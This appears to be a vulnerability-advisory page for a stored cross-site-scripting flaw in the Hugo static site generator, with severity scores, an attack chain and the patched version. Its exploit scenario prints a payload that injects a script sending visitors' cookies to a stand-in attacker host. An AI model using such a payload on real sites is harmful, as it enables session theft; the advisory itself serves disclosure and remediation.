Skip to main content

Hugo CVE-2026-58402

| EUVDEUVD-2026-41904 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-06 GitHub_M
5.1
CVSS 4.0 · Vendor: GitHub_M
Share

Severity by source

Vendor (GitHub_M) PRIMARY
5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
5.4 MEDIUM

PR:L because Markdown write access is required; UI:R for victim page-load; S:C and C:L/I:L for browser-session XSS impact with no server-side effect.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
X

Lifecycle Timeline

2
Patch available
Jul 06, 2026 - 21:16 EUVD
Analysis Generated
Jul 06, 2026 - 20:05 vuln.today

DescriptionCVE.org

Hugo is a static site generator. From 0.60.0 until 0.163.3, Hugo's default code-block renderer wrote the Markdown code-fence language or info-string into the code class="language-…" data-lang="…" wrapper without HTML escaping. A fence info-string containing a quote and a script payload breaks out of the attribute and injects a live script element. This issue is fixed in 0.163.3.

AnalysisAI

Stored XSS in Hugo's default code-block renderer allows an attacker with Markdown contribution rights to inject arbitrary JavaScript into generated static pages. Hugo versions 0.60.0 through 0.163.2 write the code-fence info-string (language identifier) directly into HTML attribute values without escaping, so a crafted info-string containing a quote character and script payload breaks out of the attribute context. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Gain Markdown contributor access
Delivery
Craft malicious code-fence info-string with quote and script payload
Exploit
Submit Markdown to Hugo site repository
Execution
Hugo builds site without escaping info-string
Persist
Victim visits rendered page
Impact
Script executes in victim browser

Vulnerability AssessmentAI

Exploitation The attacker must have write access to the Markdown source content that Hugo processes - for example, as a registered contributor, a compromised CI pipeline, or via a pull-request workflow that merges unreviewed content. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N correctly captures the key risk limiters: PR:L (the attacker must have content-contribution access) and UI:P (a victim must load the rendered page). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A contributor to a multi-author Hugo documentation site submits a Markdown file containing a code block with a crafted info-string such as: ```none" data-x="<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. Hugo processes this without escaping and writes the payload into the generated HTML. …
Remediation Upgrade Hugo to version 0.163.3, the vendor-released patch that introduces HTML escaping of code-fence info-strings before attribute interpolation (fix commit ce1a7e0bce3713af40496ded3c2c0ceeed49231d, pull request https://github.com/gohugoio/hugo/pull/15051). … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-58402 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy